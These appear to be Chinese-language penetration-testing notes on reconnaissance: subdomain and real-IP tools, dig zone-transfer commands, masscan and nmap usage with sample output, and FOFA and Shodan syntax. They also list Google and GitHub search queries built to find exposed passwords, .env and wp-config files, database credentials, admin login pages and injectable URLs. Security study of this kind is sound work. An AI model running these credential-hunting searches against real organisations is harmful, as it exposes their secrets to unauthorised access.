- Subdomain Finder : https://subdomainfinder.c99.nl/
- subfinder : https://github.com/projectdiscovery/subfinder
- ksubdomain:https://github.com/knownsec/ksubdomain
- subDomainsBrute:https://github.com/lijiejie/subDomainsBrute
- Sublist3r:https://github.com/aboul3la/Sublist3r
- RappidDns:https://rapiddns.io/subdomain (在线)
- 查子域:https://chaziyu.com/ (在线)
- ESD : https://github.com/FeeiCN/ESD
- Amass : https://github.com/OWASP/Amass
- 子域名挖掘机
dig -t A www.bamaface.com @172.16.0.1 #跟踪+trace,显示其解析过程,基于迭代方式解析; dig +trace -t A www.bamaface.com @172.16.0.1 #查看邮件服务器 dig -t mx me.org #测试反向解析 dig -x IP = dig –t ptr reverseip.in-addr.arpa dig -x 10.0.0.100 @10.0.0.8 dig -t ptr 100.0.0.10.in-addr.arpa. @10.0.0.8 #查看 dns 服务器域名并查到对应 bind 版本 dig -t ns me.org dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com #模拟区域传送 dig -t axfr ZONE_NAME @SERVER dig -t axfr me.org @10.10.10.11 # 抓取dns服务器所有解析记录 host -T -l sina.com 8.8.8.8
以拉勾网(lagou.com)为例,我对上述工具的子域检测结果进行了统计对比,
得到的结果如下表所示:
工具 | 域名总数 | 可访问域名 | 扫描时长(秒) |
Subdomain Finder | 69 | 66 | 3 |
DNSDumpster | 10 | 10 | 10 |
OneForAll | 127 | 101 | 142 |
subDomainsBrute | 44 | 38 | 114` |
subfinder | 57 | 49 | 30 |
ESD | 67 | 58 | 195 |
amass | 40778 | 38294 | 1260 |
我用得比较多的是 OneForAll 和 Subdomain Finder,在收集域名时则更喜欢用
Subdomain Finder + OneForAll + subfinder + Amass 的组合。像 Amass 输出
太多了,它扫描和验证有效性的时间也比较长。
旁站(同IP网站)
一个服务器可以起多个web服务,开不同的端口即可,相当于一个IP映射给多个域名。
旁站的查询涉及到cdn的问题,所以为了查询到准确的旁站信息,我们需要找到目标的真实IP。
真实IP
- Ping.cn:https://www.ping.cn/dns/
- get-site-ip: https://get-site-ip.com
- 全球ping:http://tool.zhiduopc.com/ping
- DNS检测:https://tools.ipip.net/dns.php
- Xcdn:https://github.com/3xp10it/xcdn
- 在线:https://ipchaxun.com/
端口+子目录
子域名:www.baidu.com
子目录:www.baidu.com/a/b/c
Nmap:https://nmap.org
masscan:https://github.com/robertdavidgraham/masscan
Goby:https://gobies.org/
御剑:https://github.com/foryujian/yujianportscan 推荐在虚拟机里玩一玩
有一个用着顺手的就行。
masscan
masscan:https://github.com/robertdavidgraham/masscan
mac安装:
brew install masscan #+end_sr 使用: #+begin_src sh > time masscan -p8080,8081,8082,8083 124.222.171.19/32 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-05-22 09:02:48 GMT Initiating SYN Stealth Scan Scanning 1 hosts [4 ports/host] Discovered open port 8082/tcp on 124.222.171.19 Discovered open port 8083/tcp on 124.222.171.19 Discovered open port 8080/tcp on 124.222.171.19 Discovered open port 8081/tcp on 124.222.171.19
goby
Goby:https://gobies.org/
敏感信息
GoogleHack语法
- 谷歌语法
Google Hacking 是什么?
Google Hacking,又称 Google Dorking,是一种使用 Google 高级搜索操作符来找出网站漏洞或者获取通常难以找到的信息的方法。这种技术在信息安全领域广泛使用,常被用于开源情报收集(OSINT)。
Google基本语法
- 关键字 关键字:包含多个或一个检索词的网页。如包含计算机和信息安全的页面: 计算机 信息安全
- 关键字1 -关键字2:收索不含关键字2的含有关键字1的内。如含有”计算机” 不含”信息安全” 计算机 -信息安全
- 关键字 OR 关键字: or为或的意思,or必须为大写。如含有”计算机” 或者 含有”信息安全”: 计算机 OR 信息安全。OR和-的混合使用 含有”计算机” 或者 含有”信息安全” 但不含”网络”:计算机 OR 信息安全 -网络
- *:*表示代表任何字符。如*:收索含有任何国家且含有”计算机” 也含有”信息安全”的网站:计算机 信息安全 *国。
- 双引号"":精确搜索。双引号界定多个检索词,可以查到各个单词按相同顺序在一起出现的网页。如收索按含有“计算机”也含“信息安全”和“网络”的顺序的网页:"计算机 信息安全 网络"
- 波浪号(“~”) 搜索同义词。例如“天津 ~天津”
- 加号(“+”):“+”号是强迫包含的意思,在“+”号前面要有一个空格。比如说我们搜索“天津 +天津特产”,搜索出的结果,一共搜索到7,750,000 条,并且都是和特产有关的。
- 点号(“.”)点号的作用是取代一个字符。例如“war .3”
- 数字1..数字2:范围。如单反价格在3000-4000元之间的单反:单反 3000..4000
高级搜索语法
- site 指定域名。如site: 在cumt.edu.cn的网域内收索含有”计算机”的内容: 计算机 site:cumt.edu.cn。如在不含cumt.edu.cn的网域内收索含有”计算机”的内容:计算机 -site:cumt.edu.cn
- inurl 或 allinurl:在网页的 URL 中搜索关键字。例如:inurl:"login.php"
- intitle 或 allintitle:网页标题中的关键字。如Intitle:在网页标题中含有”计算机”而且也含有”信息安全”:intitle:计算机 信息安全
- link 返回你所有的指定域名链接
- cache 搜索 Google 里的内存缓存
- AllInURL:搜索两个关键词同时出现的页面链接。如收索URL中含有linux和Centos的网页:AllInURL:Linux Centos
- filetype:检索特定类型的文件,即搜索后缀或者文件的扩展名。收索格式为pdf的含有“网络安全”的内容:网络安全 filetype:pdf
- related:检索与某特定网页类似的网页。如收索和www.csdn.net网站相似的网站:related:www.csdn.net
- Define:对检索关键词显示网上的定义。该词的定义不一定来自于词典,而更多的是源于网上的定义,如:维基百科等。如收索security的意思:define:security
- intext 只在网页的正文中检索关键词,即忽略超链接文本、URL以及题目等。如收索只在网页正文中含有”计算机” 也含有”信息安全”的网页:intext:计算机 信息安全
- info 查找指定站点信息
- Ext:文件后缀。它可以帮你搜索各种后缀格式的文件。如收索格式为doc的且含有”计算机”的内容:ext:doc 计算机
- inanchor:指令返回的结果是导入链接锚文本文字中包含搜索词的页面。如链接文字中出现了“点击这里”这四个字的网页:inanchor:点击这里
- Daterange:查找在一定的日期或者一定的日期范围内,Google索引的网页(该语法只关注被Google收录的时间,而不关注网页创建的时间)。如2004-5-1至2004-6-1期间出现“计算机”的网页:
- cache:+url:网页快照查询。如果一个页面打不开,你有机会通过这个快照功能查看它的内容。
- Location: 定位查询如果你只想查看某个地区内的相关信息。如我们想要查询北京的酒店:hotel location:Beijing
- 旅途路线查询:[city] to [city]即可查看到两地之间的航班路线。如南京 to 广州
- 当地时间查询:对比不同地区间的时间差异。如查看伦敦的当地时间,以及和北京时间的差异:London to Beijing time
- Etymology: 查找词源。如“love”这个词的起源:etymology:love
- 把数字转换为文字 如“1098375 in English”或“1098375=English”
- 获取当前的IP地址:my IP address
- stocks:显示一个股票的信息,例如:stocks:goog
- weather:显示一个地点的天气,例如:weather:san francisco
- info:查找指定的网站基本信息,例如:“www.stuhack.com”。
Google Hacking 示例
- 搜索摄像头:
- inurl:"ViewerFrame?Mode="
- inurl:"ViewerFrame?Mode="
- 寻找开放的 FTP 服务器:inurl:ftp -inurl:(http|https)
- 寻找含有敏感词 "password" 的 .log 文件:ext:log "password"
- 寻找含有敏感词 "username" 和 "password" 的 .config 文件:ext:config password -git -htaccess
- 寻找含有数据库连接信息的配置文件:filetype:inc "mysql_connect"
- 寻找暴露的数据库文件:filetype:mdf "password" ( "username" | "user" | "admin" )
- 寻找存储有登录信息的环境变量:ext:env | ext:inf admin password
- 寻找包含数据库连接信息的 PHP 文件:filetype:php "mysql_connect" "database =" | "db_name" | "_db"
- 寻找暴露的 WordPress 配置文件:filetype:txt inurl:"wp-config.php"
- 寻找暴露的 Apache 配置文件:filetype:conf inurl:httpd -cvs
- 寻找后台登录页面:inurl:/admin/login.php
- 寻找具有 SQL Injection 漏洞的页面:inurl:.php?id=
- 寻找网站目录的索引:intitle:index.of
1、后台地址
site:xxx.com 管理后台/登录/管理员/系统,可以通过添加双引号增加精确度 sf-express.com
site:xxx.com inurl:login/admin/system/manage
2、敏感文件
site:xxx.com filetype:pdf/doc/xls/txt
site:xxx.com filetype:log/sql/conf
3、测试环境
site:xxx.com inurl:test/ceshi
site:xxx.com intitle:后台/测试
4、邮箱/QQ/群
site:xxx.com 邮件/email
site:xxx.com qq/群/企鹅/腾讯
site:xxx.com intitle:"Outlook Web App" 邮件服务器的web界面
site:xxx.com intitle:"mail"
site:xxx.com intitle:"webmail"
5、其他
site:xxx.com inurl:api
site:xxx.com inurl:uid=/id=
site:xxx.com intitle:index.of "server at"
- 关键字 关键字:包含多个或一个检索词的网页。如包含计算机和信息安全的页面: 计算机 信息安全
- Github 语法
https://github.com/
@xxx.com password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
@xxx.com security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys
网盘引擎
空间搜索引擎
- FOFA:https://fofa.info/ 之前被禁用,目前已恢复,但是功能阉割严重
- Quake:https://quake.360.cn/quake/#/index
- ZoomEye:https://www.zoomeye.org/
- Shodan:https://www.shodan.io
- 切记:搜索到敏感信息之后,不要随意下载和传播,属于违法行为!应该主动进行报备。
fofa
高级搜索语法:
=:匹配,=""时,可查询不存在字段或者值为空的情况。 ==:完全匹配,==""时,可查询存在且值为空的情况。 &&:与 ||:或者 !=:不匹配,!=""时,可查询值为空的情况。 *=:模糊匹配,使用*或者?进行搜索,比如banner*="mys??" (个人版及以上可用)。 ():确认查询优先级,括号内容优先级最高。
范例:
domain="sf-express.com" && title="后台"
shadon
Shodan:https://www.shodan.io
常见 filter:
- net (192.168.1.1)
- city
- country (CN, US)
- port (80, 21, 22, 23)
- os
- hostname (主机或域名)
- server
如:
HTTP/1.1 200 net:216.0.0.0/16 os:"windows xp" city:Beijing country: China port: 81
200 OK cisco country: JP
user: admin pass: password
历史漏洞
- CNVD:https://www.cnvd.org.cn/
- CNNVD:http://www.cnnvd.org.cn/
- Seebug:https://www.seebug.org
- Exploit Database:https://www.exploit-db.com
- SPLOITUS: https://sploitus.com/
公众号
- 微信直接搜索
- 搜狗:https://weixin.sogou.com
小程序
- 微信直接搜索
信息深度收集:
指纹识别
- 火狐插件:Wappalyzer
- 云悉:http://www.yunsee.cn
- Nuclei:https://github.com/projectdiscovery/nuclei
详解
nmap 选项
选项概要
当Nmap不带选项运行时,选项概要会被输出:
它可以帮助我们记住常用的选项,一些不常用的选项不在这里列出。
nmap -h
Nmap (“Network Mapper<网络映射器>”) 是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速扫描大型网络,当然用它扫描单个主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,这些主机提供什么服务(应用程序名和版本),这些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核,许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。
Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项,通常会列出端口号,协议,服务名称和状态。
端口状态
- open(开放的):意味着目标机器上的应用程序正在该端口监听连接/报文。
- filtered(被过滤的) :意味着防火墙、过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知它是open还是closed。
- closed(关闭的):端口没有应用程序在它上面监听,但是它们随时可能开放。
- unfiltered(未被过滤的):当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是unfiltered。
- open|filtered 和 closed|filtered :状态组合,即Nmap无法确定该端口处于两个状态中的哪一个状态。
除了端口表以外,Nmap还能提供关于目标机器的进一步信息,包括反向域名、操作系统猜测、设备类型和MAC地址。
一个典型的Nmap扫描如下方所示。在这个例子中,选项 -A
, 用来进行操作系统及其版本的探测, -T4
可以加快执行速度,接着是目标主机名。
nmap -A -T4 scanme.nmap.org
例1. 一个典型的Nmap扫描
# nmap -A -v -T4 45.33.32.156 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 18:08 CST NSE: Loaded 156 scripts for scanning. # 加载脚本 NSE: Script Pre-scanning. Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating Ping Scan at 18:08 #启动 Ping 扫描,扫描 IP 端口 Scanning 45.33.32.156 [4 ports] Completed Ping Scan at 18:08, 0.15s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:08 #启动 DNS 解析 Completed Parallel DNS resolution of 1 host. at 18:08, 0.00s elapsed Initiating SYN Stealth Scan at 18:08 #启动 SYN 隐形扫描 Scanning scanme.nmap.org (45.33.32.156) [1000 ports] Discovered open port 80/tcp on 45.33.32.156 Discovered open port 22/tcp on 45.33.32.156 Discovered open port 31337/tcp on 45.33.32.156 Discovered open port 9929/tcp on 45.33.32.156 Completed SYN Stealth Scan at 18:08, 6.87s elapsed (1000 total ports) Initiating Service scan at 18:08 #启动服务扫描 Scanning 4 services on scanme.nmap.org (45.33.32.156) Completed Service scan at 18:08, 6.32s elapsed (4 services on 1 host) Initiating OS detection (try #1) against scanme.nmap.org (45.33.32.156) #启动操作系统检测 Retrying OS detection (try #2) against scanme.nmap.org (45.33.32.156) Initiating Traceroute at 18:08 #启动线路追踪 Completed Traceroute at 18:08, 5.37s elapsed Initiating Parallel DNS resolution of 10 hosts. at 18:08 #正在启动 N 台主机的并行DNS解析 Completed Parallel DNS resolution of 10 hosts. at 18:08, 0.07s elapsed NSE: Script scanning 45.33.32.156. # NSE 扫描 Initiating NSE at 18:08 Completed NSE at 18:08, 5.34s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.59s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.01s elapsed Nmap scan report for scanme.nmap.org (45.33.32.156) #Nmap 扫描报告 Host is up (0.15s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA) | 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA) | 256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57 (ECDSA) |_ 256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Nmap Project |_http-title: Go ahead and ScanMe! |_http-server-header: Apache/2.4.7 (Ubuntu) 9929/tcp open nping-echo Nping echo 31337/tcp open tcpwrapped Aggressive OS guesses: Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 5.0 - 5.5 (92%), Linux 3.1 (91%), Linux 3.2 (91%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (91%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 2.6.39 - 3.2 (90%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 8.621 days (since Fri Dec 8 03:14:59 2023) Network Distance: 21 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 ... 2 3 7.66 ms 10.162.72.105 4 ... 5 10.00 ms 10.162.5.110 6 2.48 ms 101.226.210.77 7 ... 8 5.92 ms 101.95.224.177 9 ... 10 9.18 ms 202.97.85.198 11 151.73 ms 202.97.27.214 12 150.29 ms 218.30.54.245 13 155.55 ms if-ae-6-20.tcore1.eql-losangeles.as6453.net (64.86.252.66) 14 147.57 ms 207.45.208.13 15 183.66 ms a23-203-158-53.deploy.static.akamaitechnologies.com (23.203.158.53) 16 ... 20 21 178.16 ms scanme.nmap.org (45.33.32.156) NSE: Script Post-scanning. Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.20 seconds Raw packets sent: 1122 (50.964KB) | Rcvd: 1104 (46.388KB)
目标说明
除了选项,所有出现在Nmap命令行上的都被视为对目标主机的说明。 最简单的情况是指定一个目标IP地址或主机名。
有时候我们希望扫描整个网络的相邻主机。为此,Nmap支持 CIDR 风格的地址。可以附加一个/在一个IP地址或主机名后面, Nmap将会扫描所有和该参考IP地址具有 相同比特的所有IP地址或主机。
例如,
192.168.10.0/24将会扫描192.168.10.0 (二进制格式: 11000000 10101000 00001010 00000000)和192.168.10.255 (二进制格式: 11000000 10101000 00001010 11111111)之间的256台主机。192.168.10.40/24 代表同样的意义。
192.168.10.1-254
192.168.0-255.1-254
假设主机scanme.nmap.org的IP地址是205.217.153.62,scanme.nmap.org/16 将扫描205.217.0.0和205.217.255.255之间的65,536 个IP地址。 所允许的最小值是/1, 这将会扫描半个互联网。最大值是/32,这将会扫描该主机或IP地址, 因为所有的比特都固定了。
CIDR标志位很简洁但有时候不够灵活。例如,想要扫描 192.168.0.0/16,但希望略过任何以.0或者.255结束的IP地址,因为它们通常是广播地址。Nmap通过八位字节地址范围支持这样的扫描,可以用逗号分开的数字或范围列表为IP地址的每个八位字节指定它的范围。例如,192.168.0-255.1-254 将略过在该范围内以.0和.255结束的地址。范围不必限于最后的8位:0-255.0-255.13.37 将在整个互联网范围内扫描所有以13.37结束的地址。这种大范围的扫描对互联网调查研究或许有用。
IPv6地址只能用规范的IPv6地址或主机名指定。 CIDR 和八位字节范围不支持IPv6,因为它们对于IPv6几乎没什么用。
Nmap命令行接受多个主机说明,它们不必是相同类型,如:nmap scanme.nmap.org 192.168.0.0/8 10.0.0.1。
虽然目标通常在命令行指定,下列选项也可用来控制目标的选择:
-iL <inputfilename> (从列表中输入)
从`<inputfilename>`中读取目标说明。在命令行输入一堆主机名显得很笨拙,然而经常需要这样。 例如,您的DHCP服务器可能导出10,000个当前租约的列表,而您希望对它们进行扫描。如果您不是使用未授权的静态IP来定位主机,或许您想要扫描所有IP地址。 只要生成要扫描的主机的列表,用-iL 把文件名作为选项传给Nmap。列表中的项可以是Nmap在命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6,或者八位字节范围)。 每一项必须以一个或多个空格,制表符或换行符分开。 如果您希望Nmap从标准输入而不是实际文件读取列表, 您可以用一个连字符(-)作为文件名。
-iR <num hosts>(随机选择目标)
对于互联网范围内的调查和研究, 您也许想随机地选择目标。
num hosts
选项告诉 Nmap生成多少个IP。不合需要的IP如特定的私有,组播或者未分配的地址自动略过。选项 0 意味着永无休止的扫描。记住,一些网管对于未授权的扫描可能会很感冒并加以抱怨。 使用该选项的后果自负! 如果在某个雨天的下午,您觉得实在无聊, 试试这个命令nmap -sS -PS80 -iR 0 -p 80
随机地找一些网站浏览。
- –exclude <host1,host2,host3,…>(排除主机/网络)
如果在指定的扫描范围有一些主机或网络不是想要扫描的目标, 那就用该选项加上以逗号分隔的列表排除它们。该列表用正常的Nmap语法, 因此它可以包括主机名,CIDR,八位字节范围等等。 当希望扫描的网络包含执行关键任务的服务器,已知的对端口扫描反应强烈的系统或者被其他人看管的子网时,这也许有用。 - –excludefile <excludefile>(排除文件中的列表)
这和–exclude 选项的功能一样,只是所排除的目标是用以换行符,空格,或者制表符分隔的<excludefile>
提供的,而不是在命令行上输入的。
主机发现
思考一下可以用来做什么?
资产梳理
任何网络探测任务的最初几个步骤之一就是把一组IP范围(有时该范围是巨大的)缩小为一列活动的或者感兴趣的主机。扫描每个IP的每个端口很慢,通常也没必要。 当然,什么样的主机令您感兴趣主要依赖于扫描的目的。网管也许只对运行特定服务的主机感兴趣,而从事安全的人员则可能对一个主机都感兴趣,只要它有IP地址:-)。一个系统管理员也许仅仅使用Ping来定位内网上的主机,而一个外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。
由于主机发现的需求五花八门,Nmap提供了一箩筐的选项来定制需求。主机发现有时候也叫做ping扫描,但它远远超越世人皆知的ping工具发送简单的ICMP回声请求报文。用户完全可以通过使用列表扫描(-sL)或者通过关闭ping (-P0)跳过ping的步骤,也可以使用多个端口把TCP SYN/ACK,UDP和ICMP 任意组合起来玩一玩。这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某主机或者网络设备使用)。 在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。这种情况在私有地址空间如10.0.0.0/8尤其普遍。私有网络有16,000,000个IP,但一些使用它的公司连1000台机器都没有。主机发现能够找到零星分布于IP地址海洋上的机器。
如果没有给出主机发现的选项,Nmap 就发送一个TCP ACK报文到80端口和一个ICMP回声请求到每台目标机器。 一个例外是ARP扫描用于局域网上的任何目标机器。对于非特权UNIX shell用户,使用connect()系统调用会发送一个SYN报文而不是ACK。这些默认行为和使用-PA -PE选项的效果相同。 扫描局域网时,这种主机发现一般够用了,但是对于安全审核,建议进行更加全面的探测。
-P选项(用于选择ping的类型)可以被结合使用,可以通过使用不同的TCP端口/标志位和ICMP码发送许多探测报文来增加穿透防守严密的防火墙的机会。另外要注意的是即使指定了其它 -P*选项,ARP发现(-PR)对于局域网上的目标而言是默认行为,因为它总是更快更有效。
下列选项控制主机发现。
-sL (列表扫描)
列表扫描是主机发现的退化形式, 它仅仅列出指定网络上的每台主机,不发送任何报文到目标主机,也并不能确定主机是否存活,所以扫描速度是很快的。默认情况下,Nmap会对主机进行反向域名解析以获取它们的名字。 例如,fw.chi.playboy.com是花花公子芝加哥办公室的防火墙。Nmap最后还会报告IP地址的总数。列表扫描可以很好的确保您拥有正确的目标IP。如果主机的域名出乎您的意料,那么就值得进一步检查以防错误地扫描其它组织的网络。
由于这个想法只是简单地打印目标主机列表,因此端口扫描、操作系统检测或主机发现等更高级别的功能选项不能与此结合使用。如果您希望在执行此类更高级别的功能的同时禁用主机发现,请阅读 -Pn (跳过主机发现)选项。
-sn (无端口扫描)
在 Nmap 的早期版本中, -sn 称为 -sP
该选项告诉Nmap仅进行ping扫描(主机发现),然后输出对扫描做出响应的那些主机,没有进一步的测试 (如端口扫描或者操作系统探测)。 这比列表扫描更积极,常常用于和列表扫描相同的目的。它可以得到些许目标网络的信息而不被特别注意到。 对于攻击者来说,了解多少主机正在运行比列表扫描提供的一列IP和主机名往往更有价值。 系统管理员往往也很喜欢这个选项。 它可以很方便地得出网络上有多少机器正在运行或者监视服务器是否正常运行。常常有人称它为地毯式ping,它比ping广播地址更可靠,因为许多主机对广播请求不响应。-sP选项在默认情况下, 发送一个ICMP回声请求和一个TCP报文到80端口。如果非特权用户执行,就发送一个SYN报文 (用connect()系统调用)到目标机的80端口。 当特权用户扫描局域网上的目标机时,会发送ARP请求(-PR),除非使用了–send-ip选项。 -sP选项可以和除-P0之外的任何发现探测类型-P* 选项结合使用以达到更大的灵活性。 一旦使用了任何探测类型和端口选项,默认的探测(ACK和回应请求)就被覆盖了。 当防守严密的防火墙位于运行Nmap的源主机和目标网络之间时, 推荐使用那些高级选项。否则,当防火墙捕获并丢弃探测包或者响应包时,一些主机就不能被探测到。
-Pn (无ping)
在早期版本的 Nmap 中, -Pn was -P0 和 -PN
该选项完全跳过Nmap发现阶段。 通常Nmap在进行高强度的扫描时用它确定正在运行的机器。 默认情况下,Nmap只对正在运行的主机进行高强度的探测如端口扫描,版本探测,或者操作系统探测。用-P0禁止主机发现会使Nmap对每一个指定的目标IP地址进行所要求的扫描。 所以如果在命令行指定一个B类目标地址空间(/16), 所有 65,536 个IP地址都会被扫描。 -P0的第二个字符是数字0而不是字母O。 和列表扫描一样,跳过正常的主机发现,但不是打印一个目标列表, 而是继续执行所要求的功能,就好像每个IP都是活动的。
-PS [portlist] (TCP SYN Ping)
该选项发送一个设置了SYN标志位的空TCP报文。 默认目的端口为80 (可以通过改变nmap.h) 文件中的DEFAULT-TCP-PROBE-PORT值进行配置,但不同的端口也可以作为选项指定。 甚至可以指定一个以逗号分隔的端口列表(如 -PS22,23,25,80,113,1050,35000), 在这种情况下,每个端口会被并发地扫描。
SYN标志位告诉对方您正试图建立一个连接。 通常目标端口是关闭的,一个RST (复位) 包会发回来。 如果碰巧端口是开放的,目标会进行TCP三步握手的第二步,回应一个SYN/ACK TCP报文。然后运行Nmap的机器则会扼杀这个正在建立的连接, 发送一个RST而非ACK报文,否则,一个完全的连接将会建立。 RST报文是运行Nmap的机器而不是Nmap本身响应的,因为它对收到的SYN/ACK感到很意外。
Nmap并不关心端口开放还是关闭。 无论RST还是SYN/ACK响应都告诉Nmap该主机正在运行。
在UNIX机器上,通常只有特权用户 root 能否发送和接收原始的TCP报文。因此作为一个变通的方法,对于非特权用户, Nmap会为每个目标主机进行系统调用connect(),它也会发送一个SYN 报文来尝试建立连接。如果connect()迅速返回成功或者一个ECONNREFUSED 失败,下面的TCP堆栈一定已经收到了一个SYN/ACK或者RST,该主机将被标志位为在运行。 如果连接超时了,该主机就标志位为down掉了。这种方法也用于IPv6 连接,因为Nmap目前还不支持原始的IPv6报文。
- -PA [portlist] (TCP ACK Ping)
TCP ACK ping和刚才讨论的SYN ping相当类似,区别就是设置TCP的ACK标志位而不是SYN标志位。ACK报文表示确认一个建立连接的尝试,但该连接尚未完全建立。所以远程主机应该总是回应一个RST报文, 因为它们并没有发出过连接请求到运行Nmap的机器,如果它们正在运行的话。-PA选项使用和SYN探测相同的默认端口(80),也可以用相同的格式指定目标端口列表。如果非特权用户尝试该功能,或者指定的是IPv6目标,前面说过的connect()方法将被使用。这个方法并不完美,因为它实际上发送的是SYN报文,而不是ACK报文。提供SYN和ACK两种ping探测的原因是使通过防火墙的机会尽可能大。许多管理员会配置他们的路由器或者其它简单的防火墙来封锁SYN报文,除非连接目标是那些公开的服务器像公司网站或者邮件服务器。这可以阻止其它进入组织的连接,同时也允许用户访问互联网。这种无状态的方法几乎不占用防火墙/路由器的资源,因而被硬件和软件过滤器广泛支持。Linux Netfilter/iptables 防火墙软件提供方便的 –syn选项来实现这种无状态的方法。当这样的无状态防火墙规则存在时,发送到关闭目标端口的SYN ping探测 (-PS) 很可能被封锁。这种情况下,ACK探测格外有闪光点,因为它正好利用了这样的规则。另外一种常用的防火墙用有状态的规则来封锁非预期的报文。这一特性已开始只存在于高端防火墙,但是这些年类它越来越普遍了。Linux Netfilter/iptables 通过 –state选项支持这一特性,它根据连接状态把报文进行分类。SYN探测更有可能用于这样的系统,由于没头没脑的ACK报文通常会被识别成伪造的而丢弃。解决这个两难的方法是通过即指定 -PS又指定-PA来即发送SYN又发送ACK。 - -PU [portlist] (UDP Ping)
还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了–data-length UDP报文到给定的端口。端口列表的格式和前面讨论过的-PS和-PA选项还是一样。如果不指定端口,默认是31338。该默认值可以通过在编译时改变nmap.h文件中的 DEFAULT-UDP-PROBE-PORT值进行配置。默认使用这样一个奇怪的端口是因为对开放端口 进行这种扫描一般都不受欢迎。如果目标机器的端口是关闭的,UDP探测应该马上得到一个ICMP端口无法到达的回应报文。 这对于Nmap意味着该机器正在运行。 许多其它类型的ICMP错误,像主机/网络无法到达或者TTL超时则表示down掉的或者不可到达的主机。 没有回应也被这样解释。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。这就是为什么默认探测端口是31338这样一个极不可能被使用的端口。少数服务如chargen会响应一个空的UDP报文,从而向Nmap表明该机器正在运行。该扫描类型的主要优势是它可以穿越只过滤TCP的防火墙和过滤器。 例如。我曾经有过一个LinksysBEFW11S4无线宽带路由器。默认情况下, 该设备对外的网卡过滤所有TCP端口,但UDP探测仍然会引发一个端口不可到达 的消息,从而暴露了它自己。 - -PE; -PP; -PM (ICMP Ping Types)
除了前面讨论的这些不常见的TCP和UDP主机发现类型,Nmap也能发送世人皆知的ping程序所发送的报文。Nmap发送一个ICMP type 8 (回声请求)报文到目标IP地址,期待从运行的主机得到一个type 0 (回声响应)报文。对于网络探索者而言,不幸的是,许多主机和防火墙现在封锁这些报文,而不是按期望的那样响应。因此,仅仅ICMP扫描对于互联网上的目标通常是不够的。 但对于系统管理员监视一个内部网络,它们可能是实际有效的途径。 使用-PE选项打开该回声请求功能。虽然回声请求是标准的ICMP ping查询, Nmap并不止于此。ICMP标准 (RFC 792)还规范了时间戳请求,信息请求 request,和地址掩码请求,它们的代码分别是13,15和17。 虽然这些查询的表面目的是获取信息如地址掩码和当前时间,它们也可以很容易地用于主机发现。很简单,回应的系统就是在运行的系统。Nmap目前没有实现信息请求报文, 因为它们还没有被广泛支持。RFC1122 坚持 “主机不应该实现这些消息”。 时间戳和地址掩码查询可以分别用-PP和-PM选项发送。时间戳响应(ICMP代码14)或者地址掩码响应(代码18)表示主机在运行。 当管理员特别封锁了回声请求报文而忘了其它ICMP查询可能用于相同目的时,这两个查询可能很有价值。 - -PR (ARP Ping)
